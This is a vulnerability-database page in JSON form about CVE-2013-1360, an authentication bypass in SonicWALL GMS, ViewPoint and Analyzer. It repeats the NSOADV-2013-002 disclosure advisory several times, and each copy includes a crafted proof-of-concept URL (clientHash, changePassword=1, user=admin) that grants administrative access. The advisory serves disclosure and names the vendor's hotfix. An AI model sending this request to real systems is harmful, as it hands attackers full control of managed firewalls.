DATABASE RESOURCES PRICING ABOUT US

{"id": "EDB-ID:24203", "vendorId": null, "type": "exploitdb", "bulletinFamily": "exploit", "title": "SonicWALL GMS/Viewpoint/Analyzer - Authentication Bypass", "description": "", "published": "2013-01-18T00:00:00", "modified": "2013-01-18T00:00:00", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://www.exploit-db.com/exploits/24203", "reporter": "Nikolas Sotiriu", "references": [], "cvelist": ["2013-1360", "CVE-2013-1360"], "immutableFields": [], "lastseen": "2022-08-11T05:18:57", "viewCount": 8, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2013-1360"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:DA2C6058EEC4E08CE4AAA2F7408B7EB3"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310103642"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:119639"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:28969", "SECURITYVULNS:VULN:12839"]}]}, "score": {"value": 0.6, "vector": "NONE"}, "backreferences": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:12839"]}]}, "exploitation": null, "vulnersScore": 0.6}, "_state": {"dependencies": 1660195220, "score": 1660195452}, "_internal": {"score_hash": "167be34de8e77b25cfe78fb44efeff6b"}, "sourceHref": "https://www.exploit-db.com/download/24203", "sourceData": "-------------------------- NSOADV-2013-002 ---------------------------\r\n\r\nSonicWALL GMS/Viewpoint/Analyzer Authentication Bypass (/sgms/)\r\n______________________________________________________________________\r\n______________________________________________________________________\r\n\r\n 111101111\r\n 11111 00110 00110001111\r\n 111111 01 01 1 11111011111111\r\n 11111 0 11 01 0 11 1 1 111011001\r\n 11111111101 1 11 0110111 1 1111101111\r\n 1001 0 1 10 11 0 10 11 1111111 1 111 111001\r\n 111111111 0 10 1111 0 11 11 111111111 1 1101 10\r\n 00111 0 0 11 00 0 1110 1 1011111111111 1111111 11 100\r\n 10111111 0 01 0 1 1 111110 11 1111111111111 11110000011\r\n 0111111110 0110 1110 1 0 11101111111111111011 11100 00\r\n 01111 0 10 1110 1 011111 1 111111111111111111111101 01\r\n 01110 0 10 111110 110 0 11101111111111111111101111101\r\n 111111 11 0 1111 0 1 1 1 1 111111111111111111111101 111\r\n 111110110 10 0111110 1 0 0 1111111111111111111111111 110\r\n 111 11111 1 1 111 1 10011 101111111111011111111 0 1100\r\n 111 10 110 101011110010 11111111111111111111111 11 0011100\r\n 11 10 001100 0001 111111111111111111 10 11 11110\r\n 11110 00100 00001 10 1 1111 101010001 11111111\r\n 11101 0 1011 10000 00100 11100 00001101 0\r\n 0110 111011011 0110 10001 101 11110\r\n 1011 1 10 101 000001 01 00\r\n 1010 1 11001 1 1 101 10\r\n 110101011 0 101 11110\r\n 110000011\r\n 111\r\n______________________________________________________________________\r\n______________________________________________________________________\r\n\r\n Title: SonicWALL GMS/Viewpoint/Analyzer\r\n Authentication Bypass (/sgms/)\r\n Severity: Critical\r\n CVE-ID: CVE-2013-1360\r\n CVSS Base Score: 9\r\n Impact: 8.5\r\n Exploitability: 10\r\n CVSS2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:C\r\n Advisory ID: NSOADV-2013-002\r\n Found Date: 2012-04-26\r\n Date Reported: 2012-12-13\r\n Release Date: 2013-01-17\r\n Author: Nikolas Sotiriu\r\n Website: http://sotiriu.de\r\n Twitter: http://twitter.com/nsoresearch\r\n Mail: nso-research at sotiriu.de\r\n URL: http://sotiriu.de/adv/NSOADV-2013-002.txt\r\n Vendor: DELL SonicWALL (http://www.sonicwall.com/)\r\n Affected Products: GMS\r\n Analyzer\r\n UMA\r\n ViewPoint\r\n Affected Platforms: Windows/Linux\r\n Affected Versions: GMS/Analyzer/UMA 7.0.x\r\n GMS/ViewPoint/UMA 6.0.x\r\n GMS/ViewPoint/UMA 5.1.x\r\n GMS/ViewPoint 5.0.x\r\n GMS/ViewPoint 4.1.x\r\n Remote Exploitable: Yes\r\n Local Exploitable: No\r\n Patch Status: Vendor released a patch (See Solution)\r\n Discovered by: Nikolas Sotiriu\r\n\r\n\r\n\r\nBackground:\r\n===========\r\n\r\nThe SonicWALL\u00ae Global Management System (GMS) provides organizations,\r\ndistributed enterprises and service providers with a powerful and\r\nintuitive solution to centrally manage and rapidly deploy SonicWALL\r\nfirewall, anti-spam, backup and recovery, and secure remote access\r\nsolutions. Flexibly deployed as software, hardware, or a virtual\r\nappliance, SonicWALL GMS offers centralized real-time monitoring, and\r\ncomprehensive policy and compliance reporting. For enterprise customers,\r\nSonicWALL GMS streamlines security policy management and appliance\r\ndeployment, minimizing administration overhead. Service Providers can\r\nuse GMS to simplify the security management of multiple clients and\r\ncreate additional revenue opportunities. For added redundancy and\r\nscalability, GMS can be deployed in a cluster configuration.\r\n\r\n(Product description from Website)\r\n\r\n\r\n\r\nDescription:\r\n============\r\n\r\nDELL SonicWALL GMS/Analyzer/ViewPoint contains a vulnerability that\r\nallows an unauthenticated, remote attacker to bypass the Web interface\r\nauthentication offered by the affected product.\r\n\r\nThe vulnerability is attributed to a broken session handling in the\r\nprocess of password change process of the web application.\r\nchanging in the web application.\r\n\r\nAn attacker may exploit this vulnerability by sending a specially\r\ncrafted request to the SGMS Interface (/sgms/).\r\n\r\nThe attacker gains full administrative access to the interface and\r\nfull control over all managed appliances, which could lead to a full\r\ncompromisation of the organisation.\r\n\r\n\r\n\r\nProof of Concept :\r\n==================\r\n\r\nAccess the following URL to login to the sgms interface:\r\n\r\nhttp://host/sgms/auth?clientHash=765c5e5b571050030b63666663383064663\r\n83761376339303932346163656262&clientHash2=03196ba18cffc80df87a7c9092\r\n4acebb&changePassword=1&user=admin&ctlSGMSDomainId=DMN00000000000000\r\n00000000001\r\n\r\nIf the Console is not directly shown, type any password you\r\nwant in the change password dialog twice and hit submit to login.\r\n\r\nMaybe you need to access the following URL after this process:\r\n\r\nhttp://host/sgms/auth\r\n\r\n\r\n\r\nSolution:\r\n=========\r\n\r\nInstall Hotfix 125076.77. (Download from www.mysonicwall.com)\r\n\r\n\r\n\r\nDisclosure Timeline:\r\n====================\r\n\r\n2012-04-26: Vulnerability found\r\n2012-12-12: Sent the notification and disclosure policy and asked\r\n for a PGP Key (security@sonicwall.com)\r\n2012-12-13: Sent advisory, disclosure policy and planned disclosure\r\n date (2012-12-28) to vendor\r\n2012-12-18: SonicWALL analyzed the finding and wishes to delay the\r\n release to the 3. calendar week 2013.\r\n2012-12-18: Changed release date to 2013-01-17.\r\n2012-12-20: Patch is published\r\n2013-01-17: Release of this advisory", "osvdbidlist": ["89346"], "exploitType": "webapps", "verified": false}

{"exploitpack": [{"lastseen": "2020-04-01T19:04:49", "description": "\nSonicWALL GMSViewpointAnalyzer - Authentication Bypass", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2013-01-18T00:00:00", "title": "SonicWALL GMSViewpointAnalyzer - Authentication Bypass", "type": "exploitpack", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-1360"], "modified": "2013-01-18T00:00:00", "id": "EXPLOITPACK:DA2C6058EEC4E08CE4AAA2F7408B7EB3", "href": "", "sourceData": "-------------------------- NSOADV-2013-002 ---------------------------\n\nSonicWALL GMS/Viewpoint/Analyzer Authentication Bypass (/sgms/)\n______________________________________________________________________\n______________________________________________________________________\n\n 111101111\n 11111 00110 00110001111\n 111111 01 01 1 11111011111111\n 11111 0 11 01 0 11 1 1 111011001\n 11111111101 1 11 0110111 1 1111101111\n 1001 0 1 10 11 0 10 11 1111111 1 111 111001\n 111111111 0 10 1111 0 11 11 111111111 1 1101 10\n 00111 0 0 11 00 0 1110 1 1011111111111 1111111 11 100\n 10111111 0 01 0 1 1 111110 11 1111111111111 11110000011\n 0111111110 0110 1110 1 0 11101111111111111011 11100 00\n 01111 0 10 1110 1 011111 1 111111111111111111111101 01\n 01110 0 10 111110 110 0 11101111111111111111101111101\n 111111 11 0 1111 0 1 1 1 1 111111111111111111111101 111\n 111110110 10 0111110 1 0 0 1111111111111111111111111 110\n 111 11111 1 1 111 1 10011 101111111111011111111 0 1100\n 111 10 110 101011110010 11111111111111111111111 11 0011100\n 11 10 001100 0001 111111111111111111 10 11 11110\n 11110 00100 00001 10 1 1111 101010001 11111111\n 11101 0 1011 10000 00100 11100 00001101 0\n 0110 111011011 0110 10001 101 11110\n 1011 1 10 101 000001 01 00\n 1010 1 11001 1 1 101 10\n 110101011 0 101 11110\n 110000011\n 111\n______________________________________________________________________\n______________________________________________________________________\n\n Title: SonicWALL GMS/Viewpoint/Analyzer\n Authentication Bypass (/sgms/)\n Severity: Critical\n CVE-ID: CVE-2013-1360\n CVSS Base Score: 9\n Impact: 8.5\n Exploitability: 10\n CVSS2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:C\n Advisory ID: NSOADV-2013-002\n Found Date: 2012-04-26\n Date Reported: 2012-12-13\n Release Date: 2013-01-17\n Author: Nikolas Sotiriu\n Website: http://sotiriu.de\n Twitter: http://twitter.com/nsoresearch\n Mail: nso-research at sotiriu.de\n URL: http://sotiriu.de/adv/NSOADV-2013-002.txt\n Vendor: DELL SonicWALL (http://www.sonicwall.com/)\n Affected Products: GMS\n Analyzer\n UMA\n ViewPoint\n Affected Platforms: Windows/Linux\n Affected Versions: GMS/Analyzer/UMA 7.0.x\n GMS/ViewPoint/UMA 6.0.x\n GMS/ViewPoint/UMA 5.1.x\n GMS/ViewPoint 5.0.x\n GMS/ViewPoint 4.1.x\n Remote Exploitable: Yes\n Local Exploitable: No\n Patch Status: Vendor released a patch (See Solution)\n Discovered by: Nikolas Sotiriu\n\n\n\nBackground:\n===========\n\nThe SonicWALL\u00ae Global Management System (GMS) provides organizations,\ndistributed enterprises and service providers with a powerful and\nintuitive solution to centrally manage and rapidly deploy SonicWALL\nfirewall, anti-spam, backup and recovery, and secure remote access\nsolutions. Flexibly deployed as software, hardware, or a virtual\nappliance, SonicWALL GMS offers centralized real-time monitoring, and\ncomprehensive policy and compliance reporting. For enterprise customers,\nSonicWALL GMS streamlines security policy management and appliance\ndeployment, minimizing administration overhead. Service Providers can\nuse GMS to simplify the security management of multiple clients and\ncreate additional revenue opportunities. For added redundancy and\nscalability, GMS can be deployed in a cluster configuration.\n\n(Product description from Website)\n\n\n\nDescription:\n============\n\nDELL SonicWALL GMS/Analyzer/ViewPoint contains a vulnerability that\nallows an unauthenticated, remote attacker to bypass the Web interface\nauthentication offered by the affected product.\n\nThe vulnerability is attributed to a broken session handling in the\nprocess of password change process of the web application.\nchanging in the web application.\n\nAn attacker may exploit this vulnerability by sending a specially\ncrafted request to the SGMS Interface (/sgms/).\n\nThe attacker gains full administrative access to the interface and\nfull control over all managed appliances, which could lead to a full\ncompromisation of the organisation.\n\n\n\nProof of Concept :\n==================\n\nAccess the following URL to login to the sgms interface:\n\nhttp://host/sgms/auth?clientHash=765c5e5b571050030b63666663383064663\n83761376339303932346163656262&clientHash2=03196ba18cffc80df87a7c9092\n4acebb&changePassword=1&user=admin&ctlSGMSDomainId=DMN00000000000000\n00000000001\n\nIf the Console is not directly shown, type any password you\nwant in the change password dialog twice and hit submit to login.\n\nMaybe you need to access the following URL after this process:\n\nhttp://host/sgms/auth\n\n\n\nSolution:\n=========\n\nInstall Hotfix 125076.77. (Download from www.mysonicwall.com)\n\n\n\nDisclosure Timeline:\n====================\n\n2012-04-26: Vulnerability found\n2012-12-12: Sent the notification and disclosure policy and asked\n for a PGP Key (security@sonicwall.com)\n2012-12-13: Sent advisory, disclosure policy and planned disclosure\n date (2012-12-28) to vendor\n2012-12-18: SonicWALL analyzed the finding and wishes to delay the\n release to the 3. calendar week 2013.\n2012-12-18: Changed release date to 2013-01-17.\n2012-12-20: Patch is published\n2013-01-17: Release of this advisory", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2022-03-23T12:13:07", "description": "An Authentication Bypass vulnerability exists in DELL SonicWALL Global Management System (GMS) 4.1, 5.0, 5.1, 6.0, and 7.0, Analyzer 7.0, Universal Management Appliance (UMA) 5.1, 6.0, and 7.0 and ViewPoint 4.1, 5.0, and 6.0 via a crafted request to the SGMS interface, which could let a remote malicious user obtain administrative access.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-11T16:15:00", "type": "cve", "title": "CVE-2013-1360", "cwe": ["CWE-287"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-1360"], "modified": "2020-02-13T14:12:00", "cpe": ["cpe:/a:sonicwall:universal_management_appliance:5.1", "cpe:/a:sonicwall:universal_management_appliance:6.0", "cpe:/a:sonicwall:global_management_system:4.1", "cpe:/a:sonicwall:universal_management_appliance:7.0", "cpe:/a:sonicwall:viewpoint:6.0", "cpe:/a:sonicwall:global_management_system:6.0", "cpe:/a:sonicwall:global_management_system:7.0", "cpe:/a:sonicwall:viewpoint:4.1", "cpe:/a:sonicwall:viewpoint:5.0", "cpe:/a:sonicwall:global_management_system:5.0", "cpe:/a:sonicwall:analyzer:7.0", "cpe:/a:sonicwall:global_management_system:5.1"], "id": "CVE-2013-1360", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-1360", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:sonicwall:global_management_system:6.0:*:*:*:*:*:*:*", "cpe:2.3:a:sonicwall:global_management_system:7.0:*:*:*:*:*:*:*", "cpe:2.3:a:sonicwall:viewpoint:6.0:*:*:*:*:*:*:*", "cpe:2.3:a:sonicwall:analyzer:7.0:*:*:*:*:*:*:*", "cpe:2.3:a:sonicwall:universal_management_appliance:7.0:*:*:*:*:*:*:*", "cpe:2.3:a:sonicwall:universal_management_appliance:6.0:*:*:*:*:*:*:*", "cpe:2.3:a:sonicwall:viewpoint:4.1:*:*:*:*:*:*:*", "cpe:2.3:a:sonicwall:global_management_system:5.1:*:*:*:*:*:*:*", "cpe:2.3:a:sonicwall:global_management_system:5.0:*:*:*:*:*:*:*", "cpe:2.3:a:sonicwall:global_management_system:4.1:*:*:*:*:*:*:*", "cpe:2.3:a:sonicwall:viewpoint:5.0:*:*:*:*:*:*:*", "cpe:2.3:a:sonicwall:universal_management_appliance:5.1:*:*:*:*:*:*:*"]}], "securityvulns": [{"lastseen": "2018-08-31T11:10:46", "bulletinFamily": "software", "cvelist": ["CVE-2013-1360"], "description": "\r\n\r\n______________________________________________________________________\r\n-------------------------- NSOADV-2013-002 ---------------------------\r\n\r\nSonicWALL GMS/Viewpoint/Analyzer Authentication Bypass &#40;/sgms/&#41;\r\n______________________________________________________________________\r\n______________________________________________________________________\r\n\r\n 111101111\r\n 11111 00110 00110001111\r\n 111111 01 01 1 11111011111111\r\n 11111 0 11 01 0 11 1 1 111011001\r\n 11111111101 1 11 0110111 1 1111101111\r\n 1001 0 1 10 11 0 10 11 1111111 1 111 111001\r\n 111111111 0 10 1111 0 11 11 111111111 1 1101 10\r\n 00111 0 0 11 00 0 1110 1 1011111111111 1111111 11 100\r\n 10111111 0 01 0 1 1 111110 11 1111111111111 11110000011\r\n 0111111110 0110 1110 1 0 11101111111111111011 11100 00\r\n 01111 0 10 1110 1 011111 1 111111111111111111111101 01\r\n 01110 0 10 111110 110 0 11101111111111111111101111101\r\n 111111 11 0 1111 0 1 1 1 1 111111111111111111111101 111\r\n 111110110 10 0111110 1 0 0 1111111111111111111111111 110\r\n 111 11111 1 1 111 1 10011 101111111111011111111 0 1100\r\n 111 10 110 101011110010 11111111111111111111111 11 0011100\r\n 11 10 001100 0001 111111111111111111 10 11 11110\r\n 11110 00100 00001 10 1 1111 101010001 11111111\r\n 11101 0 1011 10000 00100 11100 00001101 0\r\n 0110 111011011 0110 10001 101 11110\r\n 1011 1 10 101 000001 01 00\r\n 1010 1 11001 1 1 101 10\r\n 110101011 0 101 11110\r\n 110000011\r\n 111\r\n______________________________________________________________________\r\n______________________________________________________________________\r\n\r\n Title: SonicWALL GMS/Viewpoint/Analyzer\r\n Authentication Bypass &#40;/sgms/&#41;\r\n Severity: Critical\r\n CVE-ID: CVE-2013-1360\r\n CVSS Base Score: 9\r\n Impact: 8.5\r\n Exploitability: 10\r\n CVSS2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:C\r\n Advisory ID: NSOADV-2013-002\r\n Found Date: 2012-04-26\r\n Date Reported: 2012-12-13\r\n Release Date: 2013-01-17\r\n Author: Nikolas Sotiriu\r\n Website: http://sotiriu.de\r\n Twitter: http://twitter.com/nsoresearch\r\n Mail: nso-research at sotiriu.de\r\n URL: http://sotiriu.de/adv/NSOADV-2013-002.txt\r\n Vendor: DELL SonicWALL &#40;http://www.sonicwall.com/&#41;\r\n Affected Products: GMS\r\n Analyzer\r\n UMA\r\n ViewPoint\r\n Affected Platforms: Windows/Linux\r\n Affected Versions: GMS/Analyzer/UMA 7.0.x\r\n GMS/ViewPoint/UMA 6.0.x\r\n GMS/ViewPoint/UMA 5.1.x\r\n GMS/ViewPoint 5.0.x\r\n GMS/ViewPoint 4.1.x\r\n Remote Exploitable: Yes\r\n Local Exploitable: No\r\n Patch Status: Vendor released a patch &#40;See Solution&#41;\r\n Discovered by: Nikolas Sotiriu\r\n\r\n\r\n\r\nBackground:\r\n===========\r\n\r\nThe SonicWALL\u00ae Global Management System &#40;GMS&#41; provides organizations,\r\ndistributed enterprises and service providers with a powerful and\r\nintuitive solution to centrally manage and rapidly deploy SonicWALL\r\nfirewall, anti-spam, backup and recovery, and secure remote access\r\nsolutions. Flexibly deployed as software, hardware, or a virtual\r\nappliance, SonicWALL GMS offers centralized real-time monitoring, and\r\ncomprehensive policy and compliance reporting. For enterprise customers,\r\nSonicWALL GMS streamlines security policy management and appliance\r\ndeployment, minimizing administration overhead. Service Providers can\r\nuse GMS to simplify the security management of multiple clients and\r\ncreate additional revenue opportunities. For added redundancy and\r\nscalability, GMS can be deployed in a cluster configuration.\r\n\r\n&#40;Product description from Website&#41;\r\n\r\n\r\n\r\nDescription:\r\n============\r\n\r\nDELL SonicWALL GMS/Analyzer/ViewPoint contains a vulnerability that\r\nallows an unauthenticated, remote attacker to bypass the Web interface\r\nauthentication offered by the affected product.\r\n\r\nThe vulnerability is attributed to a broken session handling in the\r\nprocess of password change process of the web application.\r\nchanging in the web application.\r\n\r\nAn attacker may exploit this vulnerability by sending a specially\r\ncrafted request to the SGMS Interface &#40;/sgms/&#41;.\r\n\r\nThe attacker gains full administrative access to the interface and\r\nfull control over all managed appliances, which could lead to a full\r\ncompromisation of the organisation.\r\n\r\n\r\n\r\nProof of Concept :\r\n==================\r\n\r\nAccess the following URL to login to the sgms interface:\r\n\r\nhttp://host/sgms/auth?clientHash=765c5e5b571050030b63666663383064663\r\n83761376339303932346163656262&amp;clientHash2=03196ba18cffc80df87a7c9092\r\n4acebb&amp;changePassword=1&amp;user=admin&amp;ctlSGMSDomainId=DMN00000000000000\r\n00000000001\r\n\r\nIf the Console is not directly shown, type any password you\r\nwant in the change password dialog twice and hit submit to login.\r\n\r\nMaybe you need to access the following URL after this process:\r\n\r\nhttp://host/sgms/auth\r\n\r\n\r\n\r\nSolution:\r\n=========\r\n\r\nInstall Hotfix 125076.77. &#40;Download from www.mysonicwall.com&#41;\r\n\r\n\r\n\r\nDisclosure Timeline:\r\n====================\r\n\r\n2012-04-26: Vulnerability found\r\n2012-12-12: Sent the notification and disclosure policy and asked\r\n for a PGP Key &#40;security@sonicwall.com&#41;\r\n2012-12-13: Sent advisory, disclosure policy and planned disclosure\r\n date &#40;2012-12-28&#41; to vendor\r\n2012-12-18: SonicWALL analyzed the finding and wishes to delay the\r\n release to the 3. calendar week 2013.\r\n2012-12-18: Changed release date to 2013-01-17.\r\n2012-12-20: Patch is published\r\n2013-01-17: Release of this advisory\r\n\r\n\r\n\r\n\r\n", "edition": 1, "modified": "2013-01-21T00:00:00", "published": "2013-01-21T00:00:00", "id": "SECURITYVULNS:DOC:28969", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:28969", "title": "NSOADV-2013-002: DELL SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass &#40;/sgms/&#41;", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-06-08T19:13:06", "description": "It&#39;s possible to access few directories without authentication", "edition": 2, "cvss3": {}, "published": "2013-01-21T00:00:00", "title": "SonicWALL GMS/Viewpoint/Analyzer authentication bypass", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2013-1360", "CVE-2013-1359"], "modified": "2013-01-21T00:00:00", "id": "SECURITYVULNS:VULN:12839", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:12839", "cvss": {"score": 0.0, "vector": "NONE"}}], "packetstorm": [{"lastseen": "2016-12-05T22:22:51", "description": "", "published": "2013-01-18T00:00:00", "type": "packetstorm", "title": "DELL SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass", "bulletinFamily": "exploit", "cvelist": ["CVE-2013-1360"], "modified": "2013-01-18T00:00:00", "id": "PACKETSTORM:119639", "href": "https://packetstormsecurity.com/files/119639/DELL-SonicWALL-GMS-Viewpoint-Analyzer-Authentication-Bypass.html", "sourceData": "`______________________________________________________________________ \n-------------------------- NSOADV-2013-002 --------------------------- \n \nSonicWALL GMS/Viewpoint/Analyzer Authentication Bypass (/sgms/) \n______________________________________________________________________ \n______________________________________________________________________ \n \n111101111 \n11111 00110 00110001111 \n111111 01 01 1 11111011111111 \n11111 0 11 01 0 11 1 1 111011001 \n11111111101 1 11 0110111 1 1111101111 \n1001 0 1 10 11 0 10 11 1111111 1 111 111001 \n111111111 0 10 1111 0 11 11 111111111 1 1101 10 \n00111 0 0 11 00 0 1110 1 1011111111111 1111111 11 100 \n10111111 0 01 0 1 1 111110 11 1111111111111 11110000011 \n0111111110 0110 1110 1 0 11101111111111111011 11100 00 \n01111 0 10 1110 1 011111 1 111111111111111111111101 01 \n01110 0 10 111110 110 0 11101111111111111111101111101 \n111111 11 0 1111 0 1 1 1 1 111111111111111111111101 111 \n111110110 10 0111110 1 0 0 1111111111111111111111111 110 \n111 11111 1 1 111 1 10011 101111111111011111111 0 1100 \n111 10 110 101011110010 11111111111111111111111 11 0011100 \n11 10 001100 0001 111111111111111111 10 11 11110 \n11110 00100 00001 10 1 1111 101010001 11111111 \n11101 0 1011 10000 00100 11100 00001101 0 \n0110 111011011 0110 10001 101 11110 \n1011 1 10 101 000001 01 00 \n1010 1 11001 1 1 101 10 \n110101011 0 101 11110 \n110000011 \n111 \n______________________________________________________________________ \n______________________________________________________________________ \n \nTitle: SonicWALL GMS/Viewpoint/Analyzer \nAuthentication Bypass (/sgms/) \nSeverity: Critical \nCVE-ID: CVE-2013-1360 \nCVSS Base Score: 9 \nImpact: 8.5 \nExploitability: 10 \nCVSS2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:C \nAdvisory ID: NSOADV-2013-002 \nFound Date: 2012-04-26 \nDate Reported: 2012-12-13 \nRelease Date: 2013-01-17 \nAuthor: Nikolas Sotiriu \nWebsite: http://sotiriu.de \nTwitter: http://twitter.com/nsoresearch \nMail: nso-research at sotiriu.de \nURL: http://sotiriu.de/adv/NSOADV-2013-002.txt \nVendor: DELL SonicWALL (http://www.sonicwall.com/) \nAffected Products: GMS \nAnalyzer \nUMA \nViewPoint \nAffected Platforms: Windows/Linux \nAffected Versions: GMS/Analyzer/UMA 7.0.x \nGMS/ViewPoint/UMA 6.0.x \nGMS/ViewPoint/UMA 5.1.x \nGMS/ViewPoint 5.0.x \nGMS/ViewPoint 4.1.x \nRemote Exploitable: Yes \nLocal Exploitable: No \nPatch Status: Vendor released a patch (See Solution) \nDiscovered by: Nikolas Sotiriu \n \n \n \nBackground: \n=========== \n \nThe SonicWALL\u00ae Global Management System (GMS) provides organizations, \ndistributed enterprises and service providers with a powerful and \nintuitive solution to centrally manage and rapidly deploy SonicWALL \nfirewall, anti-spam, backup and recovery, and secure remote access \nsolutions. Flexibly deployed as software, hardware, or a virtual \nappliance, SonicWALL GMS offers centralized real-time monitoring, and \ncomprehensive policy and compliance reporting. For enterprise customers, \nSonicWALL GMS streamlines security policy management and appliance \ndeployment, minimizing administration overhead. Service Providers can \nuse GMS to simplify the security management of multiple clients and \ncreate additional revenue opportunities. For added redundancy and \nscalability, GMS can be deployed in a cluster configuration. \n \n(Product description from Website) \n \n \n \nDescription: \n============ \n \nDELL SonicWALL GMS/Analyzer/ViewPoint contains a vulnerability that \nallows an unauthenticated, remote attacker to bypass the Web interface \nauthentication offered by the affected product. \n \nThe vulnerability is attributed to a broken session handling in the \nprocess of password change process of the web application. \nchanging in the web application. \n \nAn attacker may exploit this vulnerability by sending a specially \ncrafted request to the SGMS Interface (/sgms/). \n \nThe attacker gains full administrative access to the interface and \nfull control over all managed appliances, which could lead to a full \ncompromisation of the organisation. \n \n \n \nProof of Concept : \n================== \n \nAccess the following URL to login to the sgms interface: \n \nhttp://host/sgms/auth?clientHash=765c5e5b571050030b63666663383064663 \n83761376339303932346163656262&clientHash2=03196ba18cffc80df87a7c9092 \n4acebb&changePassword=1&user=admin&ctlSGMSDomainId=DMN00000000000000 \n00000000001 \n \nIf the Console is not directly shown, type any password you \nwant in the change password dialog twice and hit submit to login. \n \nMaybe you need to access the following URL after this process: \n \nhttp://host/sgms/auth \n \n \n \nSolution: \n========= \n \nInstall Hotfix 125076.77. (Download from www.mysonicwall.com) \n \n \n \nDisclosure Timeline: \n==================== \n \n2012-04-26: Vulnerability found \n2012-12-12: Sent the notification and disclosure policy and asked \nfor a PGP Key (security@sonicwall.com) \n2012-12-13: Sent advisory, disclosure policy and planned disclosure \ndate (2012-12-28) to vendor \n2012-12-18: SonicWALL analyzed the finding and wishes to delay the \nrelease to the 3. calendar week 2013. \n2012-12-18: Changed release date to 2013-01-17. \n2012-12-20: Patch is published \n2013-01-17: Release of this advisory \n \n \n \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/119639/NSOADV-2013-002.txt"}], "openvas": [{"lastseen": "2020-05-08T11:04:16", "description": "Multiple SonicWALL products including Global Management System (GMS),\n ViewPoint, Universal Management Appliance (UMA), and Analyzer are\n prone to an authentication-bypass vulnerability.", "cvss3": {}, "published": "2013-01-18T00:00:00", "type": "openvas", "title": "Multiple SonicWALL Products Authentication Bypass Vulnerability", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-1360", "CVE-2013-1359"], "modified": "2020-05-05T00:00:00", "id": "OPENVAS:1361412562310103642", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310103642", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Multiple SonicWALL Products Authentication Bypass 